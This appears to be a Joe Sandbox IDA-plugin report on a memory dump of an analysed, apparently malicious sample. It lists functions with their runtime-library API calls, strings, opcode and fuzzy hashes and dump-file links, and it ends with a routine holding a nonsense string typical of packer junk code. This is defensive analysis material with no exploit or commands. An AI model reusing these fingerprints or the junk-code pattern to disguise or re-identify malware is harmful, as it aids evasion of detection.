Associated: 0000000E.00000002.1988917359.00000000005D9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1989221963.00000000005E3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_87C6.jbxd

Similarity

API ID: __amsg_exit$_fast_error_exit$CommandEnvironmentHeapInformationInitializeLineStrings___crt__cinit__heap_init__ioinit__setargv__setenvp__wincmdln
String ID:
API String ID: 1278883245-0
Opcode ID: 154b28cefb24726b0a4ad00a235becc254daf2ee553fb0ce419c89397a81927f
Instruction ID: d89686465e1b083b9ffbd46c38b8877c75b4f9fa2b27e889949b7c2aa2cfe6ee
Opcode Fuzzy Hash: 154b28cefb24726b0a4ad00a235becc254daf2ee553fb0ce419c89397a81927f
Instruction Fuzzy Hash: 6D218670A003149AEB24BBB2AD4ABAD36646F40709F10453FF501BE2F2EB7C96409B5D

Uniqueness

Uniqueness Score: -1.00%

Function 00402D34 Relevance: 23.0, APIs: 9, Strings: 4, Instructions: 287COMMON

Download Yara Rule

APIs

_write_string.LIBCMT ref: 00402E03
__cftof.LIBCMT ref: 00402E68
_write_string.LIBCMT ref: 00402E88
_free.LIBCMT ref: 00402EF7

Strings

@, xrefs: 004027E5
g, xrefs: 00402B3E
@2], xrefs: 00402D34
-, xrefs: 00402D7C

Memory Dump Source

Source File: 0000000E.00000002.1988163361.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1988117780.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988163361.0000000000413000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988813090.00000000005D3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988848603.00000000005D7000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988884891.00000000005D8000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988917359.00000000005D9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1989221963.00000000005E3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_87C6.jbxd

Similarity

API ID: _write_string$__cftof_free
String ID: -$@$@2]$g
API String ID: 1447653345-1949757298
Opcode ID: 434a1bfb09e78828f2d1498f069adac82f0468b98e9577ca30bb1bc65a57b54d
Instruction ID: 10d4d5679cbb4f4de9f7ff7222175e6542329e47287413b9cd20baf2339d9404
Opcode Fuzzy Hash: 434a1bfb09e78828f2d1498f069adac82f0468b98e9577ca30bb1bc65a57b54d
Instruction Fuzzy Hash: C6C1577184522A9ADF34DE14CE8C7AAB7B4AB18304F1401EBD909B62D1C7B85FC6CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00402D4D Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 284COMMON

Download Yara Rule

APIs

_write_string.LIBCMT ref: 00402E03
__cftof.LIBCMT ref: 00402E68
_write_string.LIBCMT ref: 00402E88
_free.LIBCMT ref: 00402EF7

Strings

@, xrefs: 004027E5
g, xrefs: 00402B3E
-, xrefs: 00402D7C

Memory Dump Source

Source File: 0000000E.00000002.1988163361.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1988117780.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988163361.0000000000413000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988813090.00000000005D3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988848603.00000000005D7000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988884891.00000000005D8000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988917359.00000000005D9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1989221963.00000000005E3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_87C6.jbxd

Similarity

API ID: _write_string$__cftof_free
String ID: -$@$g
API String ID: 1447653345-2189933660
Opcode ID: 9e0ca2a16f7ac2d83ae3faf4117b84fb7d4bd460cde3d1d8e1db9ac000901d27
Instruction ID: d57041075ff46e451afb4342a583e9d7b9df0cd5d10f2d540b3a9158df1c5257
Opcode Fuzzy Hash: 9e0ca2a16f7ac2d83ae3faf4117b84fb7d4bd460cde3d1d8e1db9ac000901d27
Instruction Fuzzy Hash: 7EB1577184522A9ADF349A14CECC7AAB7B4AB18304F1401EBD909B62D1C7B85FC6CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0040CB85 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 0040CADC

Part of subcall function 004047FA: __mtinitlocknum.LIBCMT ref: 00404810
Part of subcall function 004047FA: __amsg_exit.LIBCMT ref: 0040481C
Part of subcall function 004047FA: EnterCriticalSection.KERNEL32(?,?,?,00403EFA,0000000D), ref: 00404824

InterlockedDecrement.KERNEL32(00000000), ref: 0040CAEE
_free.LIBCMT ref: 0040CB03

Part of subcall function 00405342: HeapFree.KERNEL32(00000000,00000000,?,00403FCE,00000000,?,?,00401783,00401870,?,0040113D,?,?,00000000), ref: 00405358
Part of subcall function 00405342: GetLastError.KERNEL32(00000000,?,00403FCE,00000000,?,?,00401783,00401870,?,0040113D,?,?,00000000), ref: 0040536A

__lock.LIBCMT ref: 0040CB1C
___removelocaleref.LIBCMT ref: 0040CB2B
___freetlocinfo.LIBCMT ref: 0040CB44
_free.LIBCMT ref: 0040CB61

Strings

0|], xrefs: 0040CB3C

Memory Dump Source

Source File: 0000000E.00000002.1988163361.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1988117780.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988163361.0000000000413000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988813090.00000000005D3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988848603.00000000005D7000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988884891.00000000005D8000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988917359.00000000005D9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1989221963.00000000005E3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_87C6.jbxd

Similarity

API ID: __lock_free$CriticalDecrementEnterErrorFreeHeapInterlockedLastSection___freetlocinfo___removelocaleref__amsg_exit__mtinitlocknum
String ID: 0|]
API String ID: 556454624-1299851057
Opcode ID: 8eea58b5b504349ba5ec76f70c56eb3e3b59d7e91ff100543da38d48bd871ae5
Instruction ID: 7f7fa4578048f67398edcee87a534f6b82c7b5a3ea207e2f20094a40fb616e9d
Opcode Fuzzy Hash: 8eea58b5b504349ba5ec76f70c56eb3e3b59d7e91ff100543da38d48bd871ae5
Instruction Fuzzy Hash: DF11C131501704D6DB30AFA9A886B1B77E4AF00714F20423FF485BB2D1DA7CA880DA5C

Uniqueness

Uniqueness Score: -1.00%

Function 00403EB0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,005D5840,00000008,00403FB8,00000000,00000000,?,?,00401783,00401870,?,0040113D,?,?,00000000), ref: 00403EC1
__lock.LIBCMT ref: 00403EF5

Part of subcall function 004047FA: __mtinitlocknum.LIBCMT ref: 00404810
Part of subcall function 004047FA: __amsg_exit.LIBCMT ref: 0040481C
Part of subcall function 004047FA: EnterCriticalSection.KERNEL32(?,?,?,00403EFA,0000000D), ref: 00404824

InterlockedIncrement.KERNEL32(005D75A0), ref: 00403F02
__lock.LIBCMT ref: 00403F16
___addlocaleref.LIBCMT ref: 00403F34

Strings

0|], xrefs: 00403F29
KERNEL32.DLL, xrefs: 00403EBC

Memory Dump Source

Source File: 0000000E.00000002.1988163361.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1988117780.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988163361.0000000000413000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988813090.00000000005D3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988848603.00000000005D7000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988884891.00000000005D8000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988917359.00000000005D9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1989221963.00000000005E3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_87C6.jbxd

Similarity

API ID: __lock$CriticalEnterHandleIncrementInterlockedModuleSection___addlocaleref__amsg_exit__mtinitlocknum
String ID: 0|]$KERNEL32.DLL
API String ID: 637971194-1600287274
Opcode ID: 69f06a74c447a22ada258c021a0f03cdb7258d261a95eb0f98c42ecbf1972d1b
Instruction ID: 8f16b0255503f691f8a3e543b44cc219df7106ce82ae31dbeb5ac327894f1df1
Opcode Fuzzy Hash: 69f06a74c447a22ada258c021a0f03cdb7258d261a95eb0f98c42ecbf1972d1b
Instruction Fuzzy Hash: 8E015271405B00DBD720AF6AD406749BBF0BF50315F10891FE599663E0CBB4AA44DB19

Uniqueness

Uniqueness Score: -1.00%

Function 0040D2AE Relevance: 10.6, APIs: 7, Instructions: 133COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0040D2E6
___crtGetStringTypeA.LIBCMT ref: 0040D3B0
_memcmp.LIBCMT ref: 0040D3E3
_free.LIBCMT ref: 0040D44A
InterlockedDecrement.KERNEL32 ref: 0040D486
_free.LIBCMT ref: 0040D493
_free.LIBCMT ref: 0040D49B

Memory Dump Source

Source File: 0000000E.00000002.1988163361.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1988117780.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988163361.0000000000413000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988813090.00000000005D3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988848603.00000000005D7000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988884891.00000000005D8000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988917359.00000000005D9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1989221963.00000000005E3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_87C6.jbxd

Similarity

API ID: _free$DecrementInterlockedStringType___crt_memcmp_memmove
String ID:
API String ID: 2150228228-0
Opcode ID: b920001a3a21cf5fd36af0a06a10c3cca18511cfdbed8c3160828cf378646716
Instruction ID: 78b6cd762d3f9e6419bfa02d0133460769e7cc0e38bed9e61c6e58fb5a3f4bb8
Opcode Fuzzy Hash: b920001a3a21cf5fd36af0a06a10c3cca18511cfdbed8c3160828cf378646716
Instruction Fuzzy Hash: 07512874A006159FCB25CF64C944BEABBF1FF49304F1080EAE94DA7291E735AA94CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0040589D Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 004058A9

Part of subcall function 00403FDD: __getptd_noexit.LIBCMT ref: 00403FE0
Part of subcall function 00403FDD: __amsg_exit.LIBCMT ref: 00403FED

__amsg_exit.LIBCMT ref: 004058C9
__lock.LIBCMT ref: 004058D9
InterlockedDecrement.KERNEL32(?), ref: 004058F6
_free.LIBCMT ref: 00405909
InterlockedIncrement.KERNEL32(022C1660), ref: 00405921

Memory Dump Source

Source File: 0000000E.00000002.1988163361.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1988117780.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988163361.0000000000413000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988813090.00000000005D3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988848603.00000000005D7000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988884891.00000000005D8000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988917359.00000000005D9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1989221963.00000000005E3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_87C6.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock_free
String ID:
API String ID: 3470314060-0
Opcode ID: 33181e8ec0f922a003a214b633089255946aa2815f78c07681ab6451bcf2ff92
Instruction ID: 7f72c543f57e19f5ebbb72d3d602035d3835e0651ff43b30e1a66ef83f7e2d14
Opcode Fuzzy Hash: 33181e8ec0f922a003a214b633089255946aa2815f78c07681ab6451bcf2ff92
Instruction Fuzzy Hash: 27018B72902A25EBCB20AB699805B5B77A0FF04724F14412BF801B73D0DB386A51DF9A

Uniqueness

Uniqueness Score: -1.00%

Function 0040CB90 Relevance: 9.0, APIs: 6, Instructions: 44COMMON

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0040CB9C

Part of subcall function 00403FDD: __getptd_noexit.LIBCMT ref: 00403FE0
Part of subcall function 00403FDD: __amsg_exit.LIBCMT ref: 00403FED

__calloc_crt.LIBCMT ref: 0040CBA7

Part of subcall function 00401955: Sleep.KERNEL32(00000000), ref: 0040197D

__lock.LIBCMT ref: 0040CBDD
___addlocaleref.LIBCMT ref: 0040CBE9
__lock.LIBCMT ref: 0040CBFD
InterlockedIncrement.KERNEL32(?), ref: 0040CC0D

Part of subcall function 0040177E: __getptd_noexit.LIBCMT ref: 0040177E

Memory Dump Source

Source File: 0000000E.00000002.1988163361.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1988117780.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988163361.0000000000413000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988813090.00000000005D3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988848603.00000000005D7000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988884891.00000000005D8000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988917359.00000000005D9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1989221963.00000000005E3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_87C6.jbxd

Similarity

API ID: __getptd_noexit__lock$IncrementInterlockedSleep___addlocaleref__amsg_exit__calloc_crt__getptd
String ID:
API String ID: 3803058747-0
Opcode ID: 4581fc5b44cedc6388dc6f186122ee8f2792b08881d46a136e530d971f11c6e8
Instruction ID: 50812d6c148537c975f453f210ee234fcded8bd6a716d7ccd869d7ac18e2cda8
Opcode Fuzzy Hash: 4581fc5b44cedc6388dc6f186122ee8f2792b08881d46a136e530d971f11c6e8
Instruction Fuzzy Hash: 36019E71501701EAE720BFB9D846B0D7BA0AF04724F20462FF459B72D1CB7859009B69

Uniqueness

Uniqueness Score: -1.00%

Function 0040C80A Relevance: 7.6, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32(?,?,?,005D5B40,0000000C), ref: 0040C83E
GetLastError.KERNEL32(?,?,005D5B40,0000000C), ref: 0040C848
__dosmaperr.LIBCMT ref: 0040C84F
__alloc_osfhnd.LIBCMT ref: 0040C870
__set_osfhnd.LIBCMT ref: 0040C89A

Memory Dump Source

Source File: 0000000E.00000002.1988163361.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1988117780.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988163361.0000000000413000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988813090.00000000005D3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988848603.00000000005D7000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988884891.00000000005D8000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988917359.00000000005D9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1989221963.00000000005E3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_87C6.jbxd

Similarity

API ID: ErrorFileLastType__alloc_osfhnd__dosmaperr__set_osfhnd
String ID:
API String ID: 43408053-0
Opcode ID: 52c800735ce2767c80bdb55c38c92d91d6df7c7cee2aea7387d499ee4b27126b
Instruction ID: d90f798e2c096a9db0fe2a23a860d11de54a66586ad50496df02bf1c65ad6b1f
Opcode Fuzzy Hash: 52c800735ce2767c80bdb55c38c92d91d6df7c7cee2aea7387d499ee4b27126b
Instruction Fuzzy Hash: 37212532541205DACB21BF75C8817D97B60AF42329F28C76BE464AB2E2C77D8541DF8D

Uniqueness

Uniqueness Score: -1.00%

Function 0040454D Relevance: 7.6, APIs: 5, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0040455B

Part of subcall function 004044B9: __FF_MSGBANNER.LIBCMT ref: 004044D2
Part of subcall function 004044B9: __NMSG_WRITE.LIBCMT ref: 004044D9
Part of subcall function 004044B9: HeapAlloc.KERNEL32(00000000,00000001,00000001,00000000,00000000,?,00401921,00000000,00000001,00000000,?,00404785,00000018,005D5890,0000000C,00404815), ref: 004044FE

_free.LIBCMT ref: 0040456E

Memory Dump Source

Source File: 0000000E.00000002.1988163361.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1988117780.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988163361.0000000000413000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988813090.00000000005D3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988848603.00000000005D7000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988884891.00000000005D8000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988917359.00000000005D9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1989221963.00000000005E3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_87C6.jbxd

Similarity

API ID: AllocHeap_free_malloc
String ID:
API String ID: 2734353464-0
Opcode ID: 61bd32a45012f4549645fe48891dd8308e4f95b5e458f4dd8b53c8a68d482d80
Instruction ID: a2c5e14f3abab3b46456315dd7ab5dacecc649fa4160e809dee26b10f61197ba
Opcode Fuzzy Hash: 61bd32a45012f4549645fe48891dd8308e4f95b5e458f4dd8b53c8a68d482d80
Instruction Fuzzy Hash: ED11C4B25055117BCB313BB5BC05A5B3794ABC13A0F21853BFB08BB2E0DE3C8941969D

Uniqueness

Uniqueness Score: -1.00%

Function 0040605C Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00406068

Part of subcall function 00403FDD: __getptd_noexit.LIBCMT ref: 00403FE0
Part of subcall function 00403FDD: __amsg_exit.LIBCMT ref: 00403FED

__getptd.LIBCMT ref: 0040607F
__amsg_exit.LIBCMT ref: 0040608D
__lock.LIBCMT ref: 0040609D
__updatetlocinfoEx_nolock.LIBCMT ref: 004060B1

Memory Dump Source

Source File: 0000000E.00000002.1988163361.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1988117780.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988163361.0000000000413000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988813090.00000000005D3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988848603.00000000005D7000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988884891.00000000005D8000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988917359.00000000005D9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1989221963.00000000005E3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_87C6.jbxd

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: e5211ff83136d9507b2247b2a74555fc54ae9f480270c4925cb011943c06de8e
Instruction ID: 5e38fd5a7783f07dc4d44450aeaf55c1058efbae2ac8fa8ede39d4278c6af2c9
Opcode Fuzzy Hash: e5211ff83136d9507b2247b2a74555fc54ae9f480270c4925cb011943c06de8e
Instruction Fuzzy Hash: 65F0F631A413149AD630FF799802B4E37A06F00329F12013FF506B72D2CB7C29109A5E

Uniqueness

Uniqueness Score: -1.00%

Function 00402005 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00402027
__calloc_crt.LIBCMT ref: 00402040

Strings

@2], xrefs: 0040206C
], xrefs: 00402057

Memory Dump Source

Source File: 0000000E.00000002.1988163361.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1988117780.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988163361.0000000000413000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988813090.00000000005D3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988848603.00000000005D7000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988884891.00000000005D8000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988917359.00000000005D9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1989221963.00000000005E3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_87C6.jbxd

Similarity

API ID: __calloc_crt
String ID: ]$@2]
API String ID: 3494438863-696408521
Opcode ID: d788793a4143e2976dff34cccf0d0af9fa94b85346b28f81e467cfb542c58a8f
Instruction ID: 13879186c938b816cccb7c625f1de466437b846b3ba68b322c833f163aa339da
Opcode Fuzzy Hash: d788793a4143e2976dff34cccf0d0af9fa94b85346b28f81e467cfb542c58a8f
Instruction Fuzzy Hash: 8B11043160531257E7349A1DBD4C7662BD5B799324B14423BE302EB3E0E6B8C882D248

Uniqueness

Uniqueness Score: -1.00%

Function 00407FD6 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32(FFFFEED8,?,?,?,?,?,FFFFEF28), ref: 00408050
DecodePointer.KERNEL32(?,FFFFEF28), ref: 0040807C
DecodePointer.KERNEL32(?,FFFFEF28), ref: 0040809D

Strings

-, xrefs: 004080A3

Memory Dump Source

Source File: 0000000E.00000002.1988163361.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1988117780.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988163361.0000000000413000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988813090.00000000005D3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988848603.00000000005D7000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988884891.00000000005D8000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988917359.00000000005D9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1989221963.00000000005E3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_87C6.jbxd

Similarity

API ID: DecodePointer
String ID: -
API String ID: 3527080286-2547889144
Opcode ID: 1f361706033754d0d1ff17b127a10a13bf970413da69d16bb3a1836385fd0fd6
Instruction ID: a157ac24d18e17901f5827a132038bfe0ce82db37df1a5d3a52963e4de3d9403
Opcode Fuzzy Hash: 1f361706033754d0d1ff17b127a10a13bf970413da69d16bb3a1836385fd0fd6
Instruction Fuzzy Hash: A821AF7180865CDEEB229B10CC40BA97BF8FF04320F2482EBD8A8A1191DF354E95DF95

Uniqueness

Uniqueness Score: -1.00%

Function 00407F82 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32(FFFFEED8,?,?,?,?,?,FFFFEF28), ref: 00408050
DecodePointer.KERNEL32(?,FFFFEF28), ref: 0040807C
DecodePointer.KERNEL32(?,FFFFEF28), ref: 0040809D

Strings

-, xrefs: 004080A3

Memory Dump Source

Source File: 0000000E.00000002.1988163361.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1988117780.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988163361.0000000000413000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988813090.00000000005D3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988848603.00000000005D7000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988884891.00000000005D8000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988917359.00000000005D9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1989221963.00000000005E3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_87C6.jbxd

Similarity

API ID: DecodePointer
String ID: -
API String ID: 3527080286-2547889144
Opcode ID: 6d4d33369e4ed7eb71b146b066266c56c213056f7aa3735090aec38dee0f25c7
Instruction ID: 991ca1f07537aa5024741a2f7598fd1b0489de5e6b18097d29ff170621e576c7
Opcode Fuzzy Hash: 6d4d33369e4ed7eb71b146b066266c56c213056f7aa3735090aec38dee0f25c7
Instruction Fuzzy Hash: E3214A7180556CDEEB21CB50CD40BA9BBF8FB08305F1580DBD4C8A2290DF355E889F95

Uniqueness

Uniqueness Score: -1.00%

Function 005CB9C0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

EndUpdateResourceW.KERNEL32(00000000,00000000), ref: 005CB9EB
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,00000000), ref: 005CB9F5
GetServiceKeyNameA.ADVAPI32(00000000,tokijotinelazusoforiyoruki,?,2B9EEF5B), ref: 005CBA1F

Strings

tokijotinelazusoforiyoruki, xrefs: 005CBA18

Memory Dump Source

Source File: 0000000E.00000002.1988163361.0000000000413000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.1988117780.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988163361.0000000000401000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988813090.00000000005D3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988848603.00000000005D7000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988884891.00000000005D8000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1988917359.00000000005D9000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.1989221963.00000000005E3000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_87C6.jbxd

Similarity

API ID: NamePrivateProfileResourceServiceStringUpdateWrite
String ID: tokijotinelazusoforiyoruki
API String ID: 2106879505-666090400
Opcode ID: d28d63d1975e20926047f6c6cf6b743d18ca73b661b14c93c2e538364fd9876c
Instruction ID: a292765ebe76e924173564f9a3cee30b9e114d1feedb85776fb342c30718c7c3
Opcode Fuzzy Hash: d28d63d1975e20926047f6c6cf6b743d18ca73b661b14c93c2e538364fd9876c
